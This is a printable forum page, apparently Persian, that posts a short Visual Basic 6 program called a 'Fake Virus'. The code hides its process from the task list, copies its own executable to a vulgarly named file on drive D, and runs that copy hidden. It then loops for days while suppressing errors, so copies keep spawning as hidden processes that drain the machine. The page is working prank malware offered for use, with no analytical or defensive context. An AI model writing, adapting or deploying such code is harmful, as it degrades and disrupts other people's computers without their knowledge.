Fake Virus - نسخه قابل چاپ

کد:
'Coder : Amin Mansouri

'Fake Virus (Amator Programming)

Private Declare Function GetTickCount Lib "kernel32" () As Long

Private Const Amin = "d:\Fucker.exe"

Private Sub Form_Load()

App.TaskVisible = False

AminWhile (900000000)

End Sub



Function AminWhile(Time As Long)

On Error Resume Next

Dim StartTime As Long

StartTime = GetTickCount()

Kill Amin

FileCopy (App.Path & "\" & App.EXEName & ".exe"), Amin

Shell (Amin), vbHide

While (StartTime + Time) > GetTickCount()

DoEvents

Wend

End Function